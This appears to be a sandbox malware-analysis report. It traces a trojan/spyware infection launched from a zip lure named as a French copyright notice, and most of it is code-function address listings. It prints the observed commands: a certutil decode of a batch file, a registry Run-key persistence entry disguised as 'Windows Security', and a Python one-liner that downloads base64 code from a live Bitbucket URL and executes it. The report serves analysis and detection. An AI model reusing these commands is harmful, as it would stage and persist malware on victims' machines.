Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Code function: 16_2_00007FF6F67BE0E8	16_2_00007FF6F67BE0E8
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Code function: 16_2_00007FF6F67DF10C	16_2_00007FF6F67DF10C
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Code function: 16_2_00007FF6F67F3078	16_2_00007FF6F67F3078
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Code function: 16_2_00007FF6F67B5088	16_2_00007FF6F67B5088
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Code function: 16_2_00007FF6F67B1DC0	16_2_00007FF6F67B1DC0
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Code function: 16_2_00007FF6F67C9DE4	16_2_00007FF6F67C9DE4
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Code function: 16_2_00007FF6F67FADE0	16_2_00007FF6F67FADE0
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Code function: 16_2_00007FF6F6804DFC	16_2_00007FF6F6804DFC
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Code function: 16_2_00007FF6F67BDD7C	16_2_00007FF6F67BDD7C
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Code function: 16_2_00007FF6F67EAEC4	16_2_00007FF6F67EAEC4
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Code function: 16_2_00007FF6F681DE40	16_2_00007FF6F681DE40
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Code function: 16_2_00007FF6F67DDEB0	16_2_00007FF6F67DDEB0
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Code function: 16_2_00007FF6F67BABBC	16_2_00007FF6F67BABBC
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Code function: 16_2_00007FF6F67CABF4	16_2_00007FF6F67CABF4
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Code function: 16_2_00007FF6F6801BF0	16_2_00007FF6F6801BF0
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Code function: 16_2_00007FF6F67E3C20	16_2_00007FF6F67E3C20
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Code function: 16_2_00007FF6F67F7B68	16_2_00007FF6F67F7B68
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Code function: 16_2_00007FF6F67C9CC4	16_2_00007FF6F67C9CC4
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Code function: 16_2_00007FF6F67F4CF0	16_2_00007FF6F67F4CF0
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Code function: 16_2_00007FF6F67DCC58	16_2_00007FF6F67DCC58
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Code function: 16_2_00007FF6F67D0C6C	16_2_00007FF6F67D0C6C
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Code function: 16_2_00007FF6F67B8C6D	16_2_00007FF6F67B8C6D
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Code function: 16_2_00007FF6F67C1CB0	16_2_00007FF6F67C1CB0
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Code function: 16_2_00007FF6F67E09BC	16_2_00007FF6F67E09BC
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Code function: 16_2_00007FF6F67B49CC	16_2_00007FF6F67B49CC
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Code function: 16_2_00007FF6F67E99DC	16_2_00007FF6F67E99DC
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Code function: 16_2_00007FF6F67EDA00	16_2_00007FF6F67EDA00
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Code function: 16_2_00007FF6F67CF944	16_2_00007FF6F67CF944
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Code function: 16_2_00007FF6F67FC980	16_2_00007FF6F67FC980
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Code function: 16_2_00007FF6F680498C	16_2_00007FF6F680498C
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Code function: 16_2_00007FF6F67FDAD4	16_2_00007FF6F67FDAD4
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Code function: 16_2_00007FF6F6809AE0	16_2_00007FF6F6809AE0
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Code function: 16_2_00007FF6F67F0B10	16_2_00007FF6F67F0B10
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Code function: 16_2_00007FF6F67C3A40	16_2_00007FF6F67C3A40
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Code function: 16_2_00007FF6F67C2A68	16_2_00007FF6F67C2A68
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 30_3_03AFD1F9	30_3_03AFD1F9
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 30_3_03AFD1F9	30_3_03AFD1F9
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 30_3_03AFD1F9	30_3_03AFD1F9
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 30_3_03AFD1F9	30_3_03AFD1F9
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 30_3_03AFD1F9	30_3_03AFD1F9
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 30_3_03AFD1F9	30_3_03AFD1F9
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 30_3_03AFD1F9	30_3_03AFD1F9
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 30_3_03AFD1F9	30_3_03AFD1F9
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 30_3_03AFD1F9	30_3_03AFD1F9
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 30_3_03AFD1F9	30_3_03AFD1F9
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 30_3_03AFD1F9	30_3_03AFD1F9
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 30_3_03AFD1F9	30_3_03AFD1F9
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 30_3_03AFD1F9	30_3_03AFD1F9
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 30_3_03AFD1F9	30_3_03AFD1F9
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 30_3_03AFD1F9	30_3_03AFD1F9
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 30_3_03AFD1F9	30_3_03AFD1F9
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 30_3_03AFD1F9	30_3_03AFD1F9
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 30_3_03AFD1F9	30_3_03AFD1F9
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 30_3_03AFD1F9	30_3_03AFD1F9
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 30_3_03AFD1F9	30_3_03AFD1F9
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 30_3_03AFD1F9	30_3_03AFD1F9
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 30_3_03AFD1F9	30_3_03AFD1F9
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 30_3_03AFD1F9	30_3_03AFD1F9
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 30_3_03AFD1F9	30_3_03AFD1F9
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 30_3_03AB6027	30_3_03AB6027
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 30_3_03AB6027	30_3_03AB6027
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 30_3_03AB6027	30_3_03AB6027
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 30_3_03AFD1F9	30_3_03AFD1F9
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 30_3_03AFD1F9	30_3_03AFD1F9
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 30_3_03AFD1F9	30_3_03AFD1F9
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 30_3_03AFD1F9	30_3_03AFD1F9
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 30_3_03AB6027	30_3_03AB6027
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 30_3_03AB6027	30_3_03AB6027
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 30_3_03AB6027	30_3_03AB6027
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 30_3_03AFD1F9	30_3_03AFD1F9
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 30_3_03AFD1F9	30_3_03AFD1F9
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 30_3_03AFD1F9	30_3_03AFD1F9
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 30_3_03AFD1F9	30_3_03AFD1F9
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 30_3_03AB6027	30_3_03AB6027
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 30_3_03AB6027	30_3_03AB6027
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 30_3_03AB6027	30_3_03AB6027
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 30_3_03AFD1F9	30_3_03AFD1F9
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 30_3_03AFD1F9	30_3_03AFD1F9
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 30_3_03AFD1F9	30_3_03AFD1F9
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 30_3_03AFD1F9	30_3_03AFD1F9
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 30_3_03AB8C67	30_3_03AB8C67
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 30_3_03AB8C67	30_3_03AB8C67

Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe

Code function: String function: 00007FF6F67C9B7C appears 43 times

Source: Rar.exe.7.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: synaptics.exe.16.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: unicodedata.pyd.16.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: _overlapped.pyd.16.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\reg.exe reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Security" /t REG_SZ /d "C:\Windows\Explorer.EXE C:\Users\Public\Windows Security.bat" /f

Source: classification engine

Classification label: mal84.troj.spyw.evad.win@79/1730@0/18

Source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.pdf.7.dr	Initial sample: mailto:Job@glassdoor-mail.com
Source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.pdf.7.dr	Initial sample: https://help.glassdoor.com/s/article/what-are-salary-estimates-in-job-listings?language=en_us
Source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.pdf.7.dr	Initial sample: https://help.glassdoor.com/s/article/What-are-Salary-Estimates-in-Job-Listings?language=en_US
Source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.pdf.7.dr	Initial sample: https://www.glassdoor.com/
Source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.pdf.7.dr	Initial sample: http://wa.me/+17373828397

Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe

Code function: 16_2_00007FF6F67CE0FC GetLastError,FormatMessageW,

16_2_00007FF6F67CE0FC

Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Code function: 16_2_00007FF6F67D0874 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,		16_2_00007FF6F67D0874
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Code function: 16_2_00007FF6F67FE1C0 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,SetSuspendState,ExitWindowsEx,		16_2_00007FF6F67FE1C0

Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe

Code function: 16_2_00007FF6F67D5B8C GetDiskFreeSpaceExW,

16_2_00007FF6F67D5B8C

Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe

Code function: 16_2_00007FF6F67D9334 CoCreateInstance,CoSetProxyBlanket,VariantClear,

16_2_00007FF6F67D9334

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3816:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:676:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3140:120:WilError_03
Source: C:\Windows\SysWOW64\unarchiver.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3812:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4148:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1992:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2700:120:WilError_03

Source: C:\Windows\SysWOW64\unarchiver.exe

File created: C:\Users\user\AppData\Local\Temp\unarchiver.log

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe

Process created: C:\Windows\SysWOW64\cmd.exe cmd /c "C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.bat"

Source: unknown	Process created: C:\Windows\explorer.exe
Source: unknown	Process created: C:\Windows\explorer.exe
Source: unknown	Process created: C:\Windows\explorer.exe
Source: unknown	Process created: C:\Windows\explorer.exe

Source: C:\Windows\SysWOW64\cmd.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2300 --field-trial-handle=2212,i,5950465754930284443,18223258772593991472,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://t.ly/-kxCO"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\unarchiver.exe "C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.zip"
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe "C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k" "C:\Users\user\Downloads\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.zip"
Source: C:\Windows\SysWOW64\7za.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C "C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe "C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe"
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c "C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.bat"
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c "C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.pdf"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe Rar x -pKPLbkjVZ5zAXUErg9hu3pw -inul -y QExvbmVOb25l.rar C:\Users\Public\QExvbmVOb25l
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1684,i,14855367943723757865,2804243206049956149,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\certutil.exe certutil -f -decode "C:\Users\Public\Windows Security.~b64" "C:\Users\Public\Windows Security.bat"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Security" /t REG_SZ /d "C:\Windows\Explorer.EXE C:\Users\Public\Windows Security.bat" /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\Public\QExvbmVOb25l\synaptics.exe "C:\Users\Public\QExvbmVOb25l\synaptics.exe" -c "import urllib.request;import base64;exec(base64.b64decode(urllib.request.urlopen('https://bitbucket.org/lonenone111/adonis/raw/f8bdd52007c8c52942a84315bc61a8ba01481faf/Adonis_All').read().decode('utf-8')))"
Source: unknown	Process created: C:\Windows\explorer.exe "C:\Windows\Explorer.EXE" C:\Users\Public\Windows Security.bat
Source: unknown	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Windows Security.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\QExvbmVOb25l\synaptics.exe C:\Users\Public\QExvbmVOb25l\synaptics.exe -c "import urllib.request;import base64;exec(base64.b64decode(urllib.request.urlopen('https://bitbucket.org/lonenone111/adonis/raw/f8bdd52007c8c52942a84315bc61a8ba01481faf/Adonis_All').read().decode('utf-8')))"
Source: unknown	Process created: C:\Windows\explorer.exe "C:\Windows\Explorer.EXE" C:\Users\Public\Windows Security.bat
Source: unknown	Process created: C:\Windows\SysWOW64\unarchiver.exe "C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.zip"
Source: unknown	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe "C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\dkib1bpc.ejc" "C:\Users\user\Downloads\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.zip"
Source: C:\Windows\SysWOW64\7za.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Windows Security.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\QExvbmVOb25l\synaptics.exe C:\Users\Public\QExvbmVOb25l\synaptics.exe -c "import urllib.request;import base64;exec(base64.b64decode(urllib.request.urlopen('https://bitbucket.org/lonenone111/adonis/raw/f8bdd52007c8c52942a84315bc61a8ba01481faf/Adonis_All').read().decode('utf-8')))"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2300 --field-trial-handle=2212,i,5950465754930284443,18223258772593991472,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2300 --field-trial-handle=2212,i,5950465754930284443,18223258772593991472,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\unarchiver.exe "C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.zip"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2300 --field-trial-handle=2212,i,5950465754930284443,18223258772593991472,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe "C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k" "C:\Users\user\Downloads\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.zip"	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C "C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe "C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c "C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.bat"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c "C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.pdf"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe Rar x -pKPLbkjVZ5zAXUErg9hu3pw -inul -y QExvbmVOb25l.rar C:\Users\Public\QExvbmVOb25l	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\certutil.exe certutil -f -decode "C:\Users\Public\Windows Security.~b64" "C:\Users\Public\Windows Security.bat"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Security" /t REG_SZ /d "C:\Windows\Explorer.EXE C:\Users\Public\Windows Security.bat" /f	Jump to behavior
